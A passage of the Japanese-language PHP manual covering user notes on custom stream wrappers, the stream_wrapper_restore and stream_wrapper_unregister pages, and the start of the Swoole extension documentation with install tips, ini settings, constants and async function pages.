Yes, it IS mentioned in the documentation here if you read it really well, but I for one spent some time scratching my head over it, and looking at the bug tracker, I am not the only one. The dev's say this inconsistancy is a feature though, even if it does make stream wrappers pretty much useless 'out of the box'.

file_get_contents and stream_get_contents seem to work ok though.
none at your dot biz 09-Nov-2006 04:35
In case someone else starts scratching their head like I was, you should change the VariableStream::stream_eof() function to something like this:

   function stream_eof()
   {
       $eof = ($this->position >= strlen($GLOBALS[$this->varname]));
        if(version_compare(PHP_VERSION,'5.0','>=') && version_compare(PHP_VERSION,'5.1','<'))
        {
            $eof = !$eof;
        }
        return $eof;
   }

PHP 5.0 introduced a bug that wasn't fixed until 5.1
jhannus at php dot net 20-Jun-2005 07:37
It is worth noting that if your wrapper supports stream_flush() then when you flcose() your stream this function will be called prior to closing the stream.
cellog at php dot net 12-Apr-2005 07:45
If you plan to use your wrapper in a require_once you need to define stream_stat().  If you plan to allow any other tests like is_file()/is_dir(), you have to define url_stat().

stream_stat() must define the size of the file, or it will never be included.  url_stat() must define mode, or is_file()/is_dir()/is_executable(), and any of those functions affected by clearstatcache() simply won't work.

It's not documented, but directories must be a mode like 040777 (octal), and files a mode like 0100666.  If you wish the file to be executable, use 7s instead of 6s.  The last 3 digits are exactly the same thing as what you pass to chmod.  040000 defines a directory, and 0100000 defines a file.  It would be really helpful to add this to the official manual!
Hayley Watson 03-Apr-2005 11:07
The current URL standard is RFC 3986 - available at www.ietf.org/rfc/rfc3986.txt
simon at firepages dot org 13-Apr-2004 10:53
using streams to use the ever useful fgetcsv() on a variable where explode() would not work (and would otherwise require regex(though that may be easier;)))

$explode_this="yak, llama, 'big llama', 'wobmat, with a comma in it', bandycoot";

<?php
class csvstream{
   var $position;
   var $varname;
   function stream_open($path, $mode, $options, &$opened_path){
       $url = parse_url($path);
        $this->varname = $url['host'] ;
       $this->position = 0;
       return true;
   }
  function stream_read($count){
       $ret = substr($GLOBALS[$this->varname], $this->position, $count);
       $this->position += strlen($ret);
       return $ret;
   }
  function stream_eof(){
       return $this->position >= strlen($GLOBALS[$this->varname]);
   }
   function stream_tell(){
       return $this->position;
   }
}

   stream_wrapper_register("csvstr", "csvstream") ;
   $str="yak, llama, 'big llama', 'wobmat, with a comma in it', bandycoot";

   $fp = fopen("csvstr://str", "r+");
   print_r(fgetcsv($fp,100,",","'"));

?>


事前に登録を解除された組み込みラッパーを復元する

  • ≪ stream_wrapper_register
  • stream_wrapper_unregister ≫
  • PHP Manual
  • ストリーム 関数
  • 事前に登録を解除された組み込みラッパーを復元する

stream_wrapper_restore

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

stream_wrapper_restore — 事前に登録を解除された組み込みラッパーを復元する

説明

stream_wrapper_restore ( string $protocol ) : bool

stream_wrapper_unregister() で事前に登録を解除した 組み込みラッパーを復元します。

パラメータ

protocol

返り値

成功した場合に true を、失敗した場合に false を返します。

User Contributed Notes

There are no user contributed notes for this page.


URL ラッパーの登録を解除する

  • ≪ stream_wrapper_restore
  • Swoole ≫
  • PHP Manual
  • ストリーム 関数
  • URL ラッパーの登録を解除する

stream_wrapper_unregister

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

stream_wrapper_unregister — URL ラッパーの登録を解除する

説明

stream_wrapper_unregister ( string $protocol ) : bool

すでに定義されているストリームラッパーを無効にします。ラッパーが無効になった後は、 stream_wrapper_register() を使用してユーザー定義の ラッパーで上書きしたり stream_wrapper_restore() で再度使用可能にしたりすることが可能となります。

パラメータ

protocol

返り値

成功した場合に true を、失敗した場合に false を返します。

User Contributed Notes

There are no user contributed notes for this page.


Swoole

  • はじめに
  • インストール/設定
    • 要件
    • インストール手順
    • 実行時設定
    • リソース型
  • 定義済み定数
  • Swoole 関数
    • swoole_async_dns_lookup — Async and non-blocking hostname to IP lookup
    • swoole_async_read — Read file stream asynchronously
    • swoole_async_readfile — Read a file asynchronously
    • swoole_async_set — Update the async I/O options
    • swoole_async_write — Write data to a file stream asynchronously
    • swoole_async_writefile — Write data to a file asynchronously
    • swoole_client_select — Get the file description which are ready to read/write or error
    • swoole_cpu_num — Get the number of CPU
    • swoole_errno — Get the error code of the latest system call
    • swoole_event_add — Add new callback functions of a socket into the EventLoop
    • swoole_event_defer — Add callback function to the next event loop
    • swoole_event_del — Remove all event callback functions of a socket
    • swoole_event_exit — Exit the eventloop, only available at the client side
    • swoole_event_set — Update the event callback functions of a socket
    • swoole_event_wait — Start the event loop
    • swoole_event_write — Write data to a socket
    • swoole_get_local_ip — Get the IPv4 IP addresses of each NIC on the machine
    • swoole_last_error — Get the lastest error message
    • swoole_load_module — Load a swoole extension
    • swoole_select — Select the file descriptions which are ready to read/write or error in the eventloop
    • swoole_set_process_name — Set the process name
    • swoole_strerror — Convert the Errno into error messages
    • swoole_timer_after — Trigger a one time callback function in the future
    • swoole_timer_exists — Check if a timer callback function is existed
    • swoole_timer_tick — Trigger a timer tick callback function by time interval
    • swoole_version — Get the version of Swoole
  • Swoole\Async — The Swoole\Async class
    • Swoole\Async::dnsLookup — Async and non-blocking hostname to IP lookup.
    • Swoole\Async::read — Read file stream asynchronously.
    • Swoole\Async::readFile — Read a file asynchronously.
    • Swoole\Async::set — Update the async I/O options.
    • Swoole\Async::write — Write data to a file stream asynchronously.
    • Swoole\Async::writeFile — Description
  • Swoole\Atomic — The Swoole\Atomic class
    • Swoole\Atomic::add — Add a number to the value to the atomic object.
    • Swoole\Atomic::cmpset — Compare and set the value of the atomic object.
    • Swoole\Atomic::__construct — Construct a swoole atomic object.
    • Swoole\Atomic::get — Get the current value of the atomic object.
    • Swoole\Atomic::set — Set a new value to the atomic object.
    • Swoole\Atomic::sub — Subtract a number to the value of the atomic object.
  • Swoole\Buffer — The Swoole\Buffer class
    • Swoole\Buffer::append — Append the string or binary data at the end of the memory buffer and return the new size of memory allocated.
    • Swoole\Buffer::clear — Reset the memory buffer.
    • Swoole\Buffer::__construct — Fixed size memory blocks allocation.
    • Swoole\Buffer::__destruct — Destruct the Swoole memory buffer.
    • Swoole\Buffer::expand — Expand the size of memory buffer.
    • Swoole\Buffer::read — Read data from the memory buffer based on offset and length.
    • Swoole\Buffer::recycle — Release the memory to OS which is not used by the memory buffer.
    • Swoole\Buffer::substr — Read data from the memory buffer based on offset and length. Or remove data from the memory buffer.
    • Swoole\Buffer::__toString — Get the string value of the memory buffer.
    • Swoole\Buffer::write — Write data to the memory buffer. The memory allocated for the buffer will not be changed.
  • Swoole\Channel — The Swoole\Channel class
    • Swoole\Channel::__construct — Construct a Swoole Channel
    • Swoole\Channel::__destruct — Destruct a Swoole channel.
    • Swoole\Channel::pop — Read and pop data from swoole channel.
    • Swoole\Channel::push — Write and push data into Swoole channel.
    • Swoole\Channel::stats — Get stats of swoole channel.
  • Swoole\Client — The Swoole\Client class
    • Swoole\Client::close — Close the connection established.
    • Swoole\Client::connect — Connect to the remote TCP or UDP port.
    • Swoole\Client::__construct — Create Swoole sync or async TCP/UDP client, with or without SSL.
    • Swoole\Client::__destruct — Destruct the Swoole client.
    • Swoole\Client::getpeername — Get the remote socket name of the connection.
    • Swoole\Client::getsockname — Get the local socket name of the connection.
    • Swoole\Client::isConnected — Check if the connection is established.
    • Swoole\Client::on — Add callback functions triggered by events.
    • Swoole\Client::pause — Pause receiving data.
    • Swoole\Client::pipe — Redirect the data to another file descriptor.
    • Swoole\Client::recv — Receive data from the remote socket.
    • Swoole\Client::resume — Resume receiving data.
    • Swoole\Client::send — Send data to the remote TCP socket.
    • Swoole\Client::sendfile — Send file to the remote TCP socket.
    • Swoole\Client::sendto — Send data to the remote UDP address.
    • Swoole\Client::set — Set the Swoole client parameters before the connection is established.
    • Swoole\Client::sleep — Remove the TCP client from system event loop.
    • Swoole\Client::wakeup — Add the TCP client back into the system event loop.
  • Swoole\Connection\Iterator — The Swoole\Connection\Iterator class
    • Swoole\Connection\Iterator::count — Count connections.
    • Swoole\Connection\Iterator::current — Return current connection entry.
    • Swoole\Connection\Iterator::key — Return key of the current connection.
    • Swoole\Connection\Iterator::next — Move to the next connection.
    • Swoole\Connection\Iterator::offsetExists — Check if offet exists.
    • Swoole\Connection\Iterator::offsetGet — Offset to retrieve.
    • Swoole\Connection\Iterator::offsetSet — Assign a Connection to the specified offset.
    • Swoole\Connection\Iterator::offsetUnset — Unset an offset.
    • Swoole\Connection\Iterator::rewind — Rewinds iterator
    • Swoole\Connection\Iterator::valid — Check if current position is valid.
  • Swoole\Coroutine — The Swoole\Coroutine class
    • Swoole\Coroutine::call_user_func_array — Call a callback with an array of parameters
    • Swoole\Coroutine::call_user_func — Call a callback given by the first parameter
    • Swoole\Coroutine::cli_wait — Description
    • Swoole\Coroutine::create — Description
    • Swoole\Coroutine\Client::close — Description
    • Swoole\Coroutine\Client::connect — Description
    • Swoole\Coroutine\Client::__construct — Description
    • Swoole\Coroutine\Client::__destruct — Description
    • Swoole\Coroutine\Client::getpeername — Description
    • Swoole\Coroutine\Client::getsockname — Description
    • Swoole\Coroutine\Client::isConnected — Description
    • Swoole\Coroutine\Client::recv — Description
    • Swoole\Coroutine\Client::send — Description
    • Swoole\Coroutine\Client::sendfile — Description
    • Swoole\Coroutine\Client::sendto — Description
    • Swoole\Coroutine\Client::set — Description
    • Swoole\Coroutine\Http\Client::addFile — Description
    • Swoole\Coroutine\Http\Client::close — Description
    • Swoole\Coroutine\Http\Client::__construct — Description
    • Swoole\Coroutine\Http\Client::__destruct — Description
    • Swoole\Coroutine\Http\Client::execute — Description
    • Swoole\Coroutine\Http\Client::get — Description
    • Swoole\Coroutine\Http\Client::getDefer — Description
    • Swoole\Coroutine\Http\Client::isConnected — Description
    • Swoole\Coroutine\Http\Client::post — Description
    • Swoole\Coroutine\Http\Client::recv — Description
    • Swoole\Coroutine\Http\Client::set — Description
    • Swoole\Coroutine\Http\Client::setCookies — Description
    • Swoole\Coroutine\Http\Client::setData — Description
    • Swoole\Coroutine\Http\Client::setDefer — Description
    • Swoole\Coroutine\Http\Client::setHeaders — Description
    • Swoole\Coroutine\Http\Client::setMethod — Description
    • Swoole\Coroutine\MySQL::close — Description
    • Swoole\Coroutine\MySQL::connect — Description
    • Swoole\Coroutine\MySQL::__construct — Description
    • Swoole\Coroutine\MySQL::__destruct — Description
    • Swoole\Coroutine\MySQL::getDefer — Description
    • Swoole\Coroutine\MySQL::query — Description
    • Swoole\Coroutine\MySQL::recv — Description
    • Swoole\Coroutine\MySQL::setDefer — Description
    • Swoole\Coroutine::getuid — Description
    • Swoole\Coroutine::resume — Description
    • Swoole\Coroutine::suspend — Description
  • Swoole\Event — The Swoole\Event class
    • Swoole\Event::add — Add new callback functions of a socket into the EventLoop.
    • Swoole\Event::defer — Add a callback function to the next event loop.
    • Swoole\Event::del — Remove all event callback functions of a socket.
    • Swoole\Event::exit — Exit the eventloop, only available at client side.
    • Swoole\Event::set — Update the event callback functions of a socket.
    • Swoole\Event::wait — Description
    • Swoole\Event::write — Write data to the socket.
  • Swoole\Exception — The Swoole\Exception class
  • Swoole\Http\Client — The Swoole\Http\Client class
    • Swoole\Http\Client::addFile — Add a file to the post form.
    • Swoole\Http\Client::close — Close the http connection.
    • Swoole\Http\Client::__construct — Construct the async HTTP client.
    • Swoole\Http\Client::__destruct — Destruct the HTTP client.
    • Swoole\Http\Client::download — Download a file from the remote server.
    • Swoole\Http\Client::execute — Send the HTTP request after setting the parameters.
    • Swoole\Http\Client::get — Send GET http request to the remote server.
    • Swoole\Http\Client::isConnected — Check if the HTTP connection is connected.
    • Swoole\Http\Client::on — Register callback function by event name.
    • Swoole\Http\Client::post — Send POST http request to the remote server.
    • Swoole\Http\Client::push — Push data to websocket client.
    • Swoole\Http\Client::set — Update the HTTP client paramters.
    • Swoole\Http\Client::setCookies — Set the http request cookies.
    • Swoole\Http\Client::setData — Set the HTTP request body data.
    • Swoole\Http\Client::setHeaders — Set the HTTP request headers.
    • Swoole\Http\Client::setMethod — Set the HTTP request method.
    • Swoole\Http\Client::upgrade — Upgrade to websocket protocol.
  • Swoole\Http\Request — The Swoole\Http\Request class
    • Swoole\Http\Request::__destruct — Destruct the HTTP request.
    • Swoole\Http\Request::rawcontent — Get the raw HTTP POST body.
  • Swoole\Http\Response — The Swoole\Http\Response class
    • Swoole\Http\Response::cookie — Set the cookies of the HTTP response.
    • Swoole\Http\Response::__destruct — Destruct the HTTP response.
    • Swoole\Http\Response::end — Send data for the HTTP request and finish the response.
    • Swoole\Http\Response::gzip — Enable the gzip of response content.
    • Swoole\Http\Response::header — Set the HTTP response headers.
    • Swoole\Http\Response::initHeader — Init the HTTP response header.
    • Swoole\Http\Response::rawcookie — Set the raw cookies to the HTTP response.
    • Swoole\Http\Response::sendfile — Send file through the HTTP response.
    • Swoole\Http\Response::status — Set the status code of the HTTP response.
    • Swoole\Http\Response::write — Append HTTP body content to the HTTP response.
  • Swoole\Http\Server — The Swoole\Http\Server class
    • Swoole\Http\Server::on — Bind callback function to HTTP server by event name.
    • Swoole\Http\Server::start — Start the swoole http server.
  • Swoole\Lock — The Swoole\Lock class
    • Swoole\Lock::__construct — Construct a memory lock.
    • Swoole\Lock::__destruct — Destory a Swoole memory lock.
    • Swoole\Lock::lock_read — Lock a read-write lock for reading.
    • Swoole\Lock::lock — Try to acquire the lock. It will block if the lock is not available.
    • Swoole\Lock::trylock_read — Try to lock a read-write lock for reading and return straight away even the lock is not available.
    • Swoole\Lock::trylock — Try to acquire the lock and return straight away even the lock is not available.
    • Swoole\Lock::unlock — Release the lock.
  • Swoole\Mmap — The Swoole\Mmap class
    • Swoole\Mmap::open — Map a file into memory and return the stream resource which can be used by PHP stream operations.
  • Swoole\MySQL — The Swoole\MySQL class
    • Swoole\MySQL::close — Close the async MySQL connection.
    • Swoole\MySQL::connect — Connect to the remote MySQL server.
    • Swoole\MySQL::__construct — Construct an async MySQL client.
    • Swoole\MySQL::__destruct — Destory the async MySQL client.
    • Swoole\MySQL::getBuffer — Description
    • Swoole\MySQL::on — Register callback function based on event name.
    • Swoole\MySQL::query — Run the SQL query.
  • Swoole\MySQL\Exception — The Swoole\MySQL\Exception class
  • Swoole\Process — The Swoole\Process class
    • Swoole\Process::alarm — High precision timer which triggers signal with fixed interval.
    • Swoole\Process::close — Close the pipe to the child process.
    • Swoole\Process::__construct — Construct a process.
    • Swoole\Process::daemon — Change the process to be a daemon process.
    • Swoole\Process::__destruct — Destory the process.
    • Swoole\Process::exec — Execute system commands.
    • Swoole\Process::exit — Stop the child processes.
    • Swoole\Process::freeQueue — Destroy the message queue created by swoole_process::useQueue.
    • Swoole\Process::kill — Send signal to the child process.
    • Swoole\Process::name — Set name of the process.
    • Swoole\Process::pop — Read and pop data from the message queue.
    • Swoole\Process::push — Write and push data into the message queue.
    • Swoole\Process::read — Read data sending to the process.
    • Swoole\Process::signal — Send signal to the child processes.
    • Swoole\Process::start — Start the process.
    • Swoole\Process::statQueue — Get the stats of the message queue used as the communication method between processes.
    • Swoole\Process::useQueue — Create a message queue as the communication method between the parent process and child processes.
    • Swoole\Process::wait — Wait for the events of child processes.
    • Swoole\Process::write — Write data into the pipe and communicate with the parent process or child processes.
  • Swoole\Redis\Server — The Swoole\Redis\Server class
    • Swoole\Redis\Server::format — Description
    • Swoole\Redis\Server::setHandler — Description
    • Swoole\Redis\Server::start — Description
  • Swoole\Serialize — The Swoole\Serialize class
    • Swoole\Serialize::pack — Serialize the data.
    • Swoole\Serialize::unpack — Unserialize the data.
  • Swoole\Server — The Swoole\Server class
    • Swoole\Server::addlistener — Add a new listener to the server.
    • Swoole\Server::addProcess — Add a user defined swoole_process to the server.
    • Swoole\Server::after — Trigger a callback function after a period of time.
    • Swoole\Server::bind — Bind the connection to a user defined user ID.
    • Swoole\Server::clearTimer — Stop and destory a timer.
    • Swoole\Server::close — Close a connection to the client.
    • Swoole\Server::confirm — Check status of the connection.
    • Swoole\Server::connection_info — Get the connection info by file description.
    • Swoole\Server::connection_list — Get all of the established connections.
    • Swoole\Server::__construct — Construct a Swoole server.
    • Swoole\Server::defer — Delay execution of the callback function at the end of current EventLoop.
    • Swoole\Server\Port::__construct — Construct a server port
    • Swoole\Server\Port::__destruct — Destory server port
    • Swoole\Server\Port::on — Register callback functions by event.
    • Swoole\Server\Port::set — Set protocol of the server port.
    • Swoole\Server::exist — Check if the connection is existed.
    • Swoole\Server::finish — Used in task process for sending result to the worker process when the task is finished.
    • Swoole\Server::getClientInfo — Get the connection info by file description.
    • Swoole\Server::getClientList — Get all of the established connections.
    • Swoole\Server::getLastError — Get the error code of the most recent error.
    • Swoole\Server::heartbeat — Check all the connections on the server.
    • Swoole\Server::listen — Listen on the given IP and port, socket type.
    • Swoole\Server::on — Register a callback function by event name.
    • Swoole\Server::pause — Stop receiving data from the connection.
    • Swoole\Server::protect — Set the connection to be protected mode.
    • Swoole\Server::reload — Restart all the worker process.
    • Swoole\Server::resume — Start receving data from the connection.
    • Swoole\Server::send — Send data to the client.
    • Swoole\Server::sendfile — Send file to the connection.
    • Swoole\Server::sendMessage — Send message to worker processes by ID.
    • Swoole\Server::sendto — Send data to the remote UDP address.
    • Swoole\Server::sendwait — Send data to the remote socket in the blocking way.
    • Swoole\Server::set — Set the runtime settings of the swoole server.
    • Swoole\Server::shutdown — Shutdown the master server process, this function can be called in worker processes.
    • Swoole\Server::start — Start the Swoole server.
    • Swoole\Server::stats — Get the stats of the Swoole server.
    • Swoole\Server::stop — Stop the Swoole server.
    • Swoole\Server::task — Send data to the task worker processes.
    • Swoole\Server::taskwait — Send data to the task worker processes in blocking way.
    • Swoole\Server::taskWaitMulti — Execute multiple tasks concurrently.
    • Swoole\Server::tick — Repeats a given function at every given time-interval.
  • Swoole\Table — The Swoole\Table class
    • Swoole\Table::column — Set the data type and size of the columns.
    • Swoole\Table::__construct — Construct a Swoole memory table with fixed size.
    • Swoole\Table::count — Count the rows in the table, or count all the elements in the table if $mode = 1.
    • Swoole\Table::create — Create the swoole memory table.
    • Swoole\Table::current — Get the current row.
    • Swoole\Table::decr — Decrement the value in the Swoole table by $row_key and $column_key.
    • Swoole\Table::del — Delete a row in the Swoole table by $row_key.
    • Swoole\Table::destroy — Destroy the Swoole table.
    • Swoole\Table::exist — Check if a row is existed by $row_key.
    • Swoole\Table::get — Get the value in the Swoole table by $row_key and $column_key.
    • Swoole\Table::incr — Increment the value by $row_key and $column_key.
    • Swoole\Table::key — Get the key of current row.
    • Swoole\Table::next — Iterator the next row.
    • Swoole\Table::rewind — Rewind the iterator.
    • Swoole\Table::set — Update a row of the table by $row_key.
    • Swoole\Table::valid — Check current if the current row is valid.
  • Swoole\Timer — The Swoole\Timer class
    • Swoole\Timer::after — Trigger a callback function after a period of time.
    • Swoole\Timer::clear — Delete a timer by timer ID.
    • Swoole\Timer::exists — Check if a timer is existed.
    • Swoole\Timer::tick — Repeats a given function at every given time-interval.
  • Swoole\WebSocket\Frame — The Swoole\WebSocket\Frame class
  • Swoole\WebSocket\Server — The Swoole\WebSocket\Server class
    • Swoole\WebSocket\Server::exist — Check if the file descriptor exists.
    • Swoole\WebSocket\Server::on — Register event callback function
    • Swoole\WebSocket\Server::pack — Get a pack of binary data to send in a single frame.
    • Swoole\WebSocket\Server::push — Push data to the remote client.
    • Swoole\WebSocket\Server::unpack — Unpack the binary data received from the client.

User Contributed Notes

There are no user contributed notes for this page.


はじめに

Swoole is a high-performance networking framework using an event-driven, asynchronous, non-blocking I/O model. It can be used to develop high-performance, scalable, concurrent TCP, UDP, Unix socket, HTTP, Websocket services. To get started, please check the » Swoole Docs.

注意: この拡張モジュールは Windows 環境では利用できません。

User Contributed Notes

There are no user contributed notes for this page.


インストール手順

Use --with-swoole[=DIR] when compiling PHP.

この PECL 拡張モジュールをインストールする方法は、 マニュアルの PECL 拡張モジュールのインストール という章にあります。 新規リリース・ダウンロード・ソースファイル・管理者情報・CHANGELOG といった関連する情報については、次の場所にあります。 » https://pecl.php.net/package/swoole

User Contributed Notes

lc at leocavalcante dot com 20-Sep-2020 02:55
You can build a Docker image as well. Good alternative for Windows, despite WSL.

```Dockerfile
FROM php:7.4.2-cli

RUN apt-get update && apt-get install vim -y && \
    apt-get install openssl -y && \
    apt-get install libssl-dev -y && \
    apt-get install wget -y && \
    apt-get install git -y && \
    apt-get install procps -y && \
    apt-get install htop -y

RUN cd /tmp && git clone https://github.com/swoole/swoole-src.git && \
    cd swoole-src && \
    git checkout v4.5.2 && \
    phpize  && \
    ./configure  --enable-openssl && \
    make && make install

RUN touch /usr/local/etc/php/conf.d/swoole.ini && \
    echo 'extension=swoole.so' > /usr/local/etc/php/conf.d/swoole.ini

RUN wget -O /usr/local/bin/dumb-init https://github.com/Yelp/dumb-init/releases/download/v1.2.2/dumb-init_1.2.2_amd64
RUN chmod +x /usr/local/bin/dumb-init

RUN apt-get autoremove -y && rm -rf /var/lib/apt/lists/*

ENTRYPOINT ["/usr/local/bin/dumb-init", "--", "php"]
```
php dot anonymous1 at gmail dot com 04-Dec-2018 01:26
to install swoole with mac os x
open your terminal
and use this commands
git clone https://github.com/swoole/swoole-src.git
cd swoole-src
phpize
./configure
make && make install

also find your swoole.so from folder swoole-src and move it
in to your apache and add full path in php.ini
like extension=your/full/path/swoole.so


実行時設定

php.ini の設定により動作が変化します。

Swoole 設定オプション
名前 | デフォルト | 変更可能 | 変更履歴
swoole.aio_thread_num | 2 | PHP_INI_ALL |
swoole.display_errors | On | PHP_INI_ALL |
swoole.fast_serialize | Off | PHP_INI_ALL |
swoole.unixsock_buffer_size | 8388608 | PHP_INI_ALL |
swoole.use_namespace | On | PHP_INI_SYSTEM |

以下に設定ディレクティブに関する 簡単な説明を示します。

swoole.aio_thread_num int

POSIX asynchronous I/O thread number

swoole.display_errors string

This determines whether Swoole errors should be printed to the screen.

swoole.fast_serialize string

Whether to enable Swoole fast_serialize.

swoole.unixsock_buffer_size int

Buffer size of Unix socket.

swoole.use_namespace string

Whether to use PHP namespaces

User Contributed Notes

There are no user contributed notes for this page.


定義済み定数

以下の定数が定義されています。 この関数の拡張モジュールが PHP 組み込みでコンパイルされているか、 実行時に動的にロードされている場合のみ使用可能です。

SWOOLE_BASE (int)
SWOOLE_THREAD (int)
SWOOLE_PROCESS (int)
SWOOLE_IPC_UNSOCK (int)
SWOOLE_IPC_MSGQUEUE (int)
SWOOLE_IPC_PREEMPTIVE (int)
SWOOLE_SOCK_TCP (int)
SWOOLE_SOCK_TCP6 (int)
SWOOLE_SOCK_UDP (int)
SWOOLE_SOCK_UDP6 (int)
SWOOLE_SOCK_UNIX_DGRAM (int)
SWOOLE_SOCK_UNIX_STREAM (int)
SWOOLE_TCP (int)
SWOOLE_TCP6 (int)
SWOOLE_UDP (int)
SWOOLE_UDP6 (int)
SWOOLE_UNIX_DGRAM (int)
SWOOLE_UNIX_STREAM (int)
SWOOLE_SOCK_SYNC (int)
SWOOLE_SOCK_ASYNC (int)
SWOOLE_SYNC (int)
SWOOLE_ASYNC (int)
SWOOLE_KEEP (int)
SWOOLE_EVENT_READ (int)
SWOOLE_EVENT_WRITE (int)
SWOOLE_VERSION (string)
SWOOLE_AIO_BASE (int)
SWOOLE_AIO_LINUX (int)
SWOOLE_FILELOCK (int)
SWOOLE_MUTEX (int)
SWOOLE_SEM (int)
SWOOLE_RWLOCK (int)
WEBSOCKET_OPCODE_TEXT (int)
WEBSOCKET_OPCODE_BINARY (int)
WEBSOCKET_OPCODE_PING (int)
WEBSOCKET_STATUS_CONNECTION (int)
WEBSOCKET_STATUS_HANDSHAKE (int)
WEBSOCKET_STATUS_FRAME (int)
WEBSOCKET_STATUS_ACTIVE (int)
SWOOLE_FAST_PACK (int)

User Contributed Notes

There are no user contributed notes for this page.


Swoole 関数

目次

  • swoole_async_dns_lookup — Async and non-blocking hostname to IP lookup
  • swoole_async_read — Read file stream asynchronously
  • swoole_async_readfile — Read a file asynchronously
  • swoole_async_set — Update the async I/O options
  • swoole_async_write — Write data to a file stream asynchronously
  • swoole_async_writefile — Write data to a file asynchronously
  • swoole_client_select — Get the file description which are ready to read/write or error
  • swoole_cpu_num — Get the number of CPU
  • swoole_errno — Get the error code of the latest system call
  • swoole_event_add — Add new callback functions of a socket into the EventLoop
  • swoole_event_defer — Add callback function to the next event loop
  • swoole_event_del — Remove all event callback functions of a socket
  • swoole_event_exit — Exit the eventloop, only available at the client side
  • swoole_event_set — Update the event callback functions of a socket
  • swoole_event_wait — Start the event loop
  • swoole_event_write — Write data to a socket
  • swoole_get_local_ip — Get the IPv4 IP addresses of each NIC on the machine
  • swoole_last_error — Get the lastest error message
  • swoole_load_module — Load a swoole extension
  • swoole_select — Select the file descriptions which are ready to read/write or error in the eventloop
  • swoole_set_process_name — Set the process name
  • swoole_strerror — Convert the Errno into error messages
  • swoole_timer_after — Trigger a one time callback function in the future
  • swoole_timer_exists — Check if a timer callback function is existed
  • swoole_timer_tick — Trigger a timer tick callback function by time interval
  • swoole_version — Get the version of Swoole

User Contributed Notes

There are no user contributed notes for this page.


Async and non-blocking hostname to IP lookup

  • ≪ Swoole 関数
  • swoole_async_read ≫
  • PHP Manual
  • Swoole 関数
  • Async and non-blocking hostname to IP lookup

swoole_async_dns_lookup

(PECL swoole >= 1.9.0)

swoole_async_dns_lookup — Async and non-blocking hostname to IP lookup

説明

swoole_async_dns_lookup ( string $hostname , callable $callback ) : bool

パラメータ

hostname

The host name.

callback
callback ( string $hostname , string $ip ) : mixed
hostname

The host name.

IP

The IP address.

返り値

成功した場合に true を、失敗した場合に false を返します。

User Contributed Notes

There are no user contributed notes for this page.


Read file stream asynchronously

  • ≪ swoole_async_dns_lookup
  • swoole_async_readfile ≫
  • PHP Manual
  • Swoole 関数
  • Read file stream asynchronously

swoole_async_read

(PECL swoole >= 1.9.0)

swoole_async_read — Read file stream asynchronously

説明

swoole_async_read ( string $filename , callable $callback , int $chunk_size = 65536 , int $offset = 0 ) : bool

パラメータ

filename

The filename of the file being read.

callback
callback ( string $filename , string $content ) : mixed
filename

The name of the file.

content

The content readed from the file stream.

chunk_size

The chunk length.

offset

The offset.

返り値

Whether the read is succeed.

User Contributed Notes

There are no user contributed notes for this page.


Read a file asynchronously

  • ≪ swoole_async_read
  • swoole_async_set ≫
  • PHP Manual
  • Swoole 関数
  • Read a file asynchronously

swoole_async_readfile

(PECL swoole >= 1.9.0)

swoole_async_readfile — Read a file asynchronously

説明

swoole_async_readfile ( string $filename , callable $callback ) : bool

パラメータ

filename

The filename of the file being read.

callback
callback ( string $filename , string $content ) : mixed
filename

The name of the file.

content

The content readed from the file.

返り値

成功した場合に true を、失敗した場合に false を返します。

User Contributed Notes

There are no user contributed notes for this page.


Update the async I/O options

  • ≪ swoole_async_readfile
  • swoole_async_write ≫
  • PHP Manual
  • Swoole 関数
  • Update the async I/O options

swoole_async_set

(PECL swoole >= 1.9.0)

swoole_async_set — Update the async I/O options

説明

swoole_async_set ( array $settings ) : void

パラメータ

settings

User Contributed Notes

There are no user contributed notes for this page.


Write data to a file stream asynchronously

  • ≪ swoole_async_set
  • swoole_async_writefile ≫
  • PHP Manual
  • Swoole 関数
  • Write data to a file stream asynchronously

swoole_async_write

(PECL swoole >= 1.9.0)

swoole_async_write — Write data to a file stream asynchronously

説明

swoole_async_write ( string $filename , string $content , int $offset = ? , callable $callback = ? ) : bool

パラメータ

filename

The filename being written.

content

The content writing to the file.

offset

The offset.

callback

返り値

成功した場合に true を、失敗した場合に false を返します。

User Contributed Notes

There are no user contributed notes for this page.


Write data to a file asynchronously

  • ≪ swoole_async_write
  • swoole_client_select ≫
  • PHP Manual
  • Swoole 関数
  • Write data to a file asynchronously

swoole_async_writefile

(PECL swoole >= 1.9.0)

swoole_async_writefile — Write data to a file asynchronously

説明

swoole_async_writefile ( string $filename , string $content , callable $callback = ? , int $flags = 0 ) : bool

パラメータ

filename

The filename being written.

content

The content writing to the file.

callback

flags

返り値

成功した場合に true を、失敗した場合に false を返します。

User Contributed Notes

There are no user contributed notes for this page.


Get the file description which are ready to read/write or error

  • ≪ swoole_async_writefile
  • swoole_cpu_num ≫
  • PHP Manual
  • Swoole 関数
  • Get the file description which are ready to read/write or error

swoole_client_select

(PECL swoole >= 1.9.0)

swoole_client_select — Get the file description which are ready to read/write or error

説明

swoole_client_select ( array &$read_array , array &$write_array , array &$error_array , float $timeout = 0.5 ) : int

パラメータ

read_array

write_array

error_array

timeout

返り値

User Contributed Notes

There are no user contributed notes for this page.


Get the number of CPU

  • ≪ swoole_client_select
  • swoole_errno ≫
  • PHP Manual
  • Swoole 関数
  • Get the number of CPU

swoole_cpu_num

(PECL swoole >= 1.9.0)

swoole_cpu_num — Get the number of CPU

説明

swoole_cpu_num ( ) : int

パラメータ

この関数にはパラメータはありません。

返り値

The number of CPU.

User Contributed Notes

There are no user contributed notes for this page.


Get the error code of the latest system call

  • ≪ swoole_cpu_num
  • swoole_event_add ≫
  • PHP Manual
  • Swoole 関数
  • Get the error code of the latest system call

swoole_errno

(PECL swoole >= 1.9.0)

swoole_errno — Get the error code of the latest system call

説明

swoole_errno ( ) : int

パラメータ

この関数にはパラメータはありません。

返り値

User Contributed Notes

There are no user contributed notes for this page.


Add new callback functions of a socket into the EventLoop

  • ≪ swoole_errno
  • swoole_event_defer ≫
  • PHP Manual
  • Swoole 関数
  • Add new callback functions of a socket into the EventLoop

swoole_event_add

(PECL swoole >= 1.9.0)

swoole_event_add — Add new callback functions of a socket into the EventLoop

説明

swoole_event_add ( int $fd , callable $read_callback = ? , callable $write_callback = ? , int $events = 0 ) : int

パラメータ

fd

read_callback

write_callback

events

返り値

User Contributed Notes

There are no user contributed notes for this page.


Add callback function to the next event loop

  • ≪ swoole_event_add
  • swoole_event_del ≫
  • PHP Manual
  • Swoole 関数
  • Add callback function to the next event loop

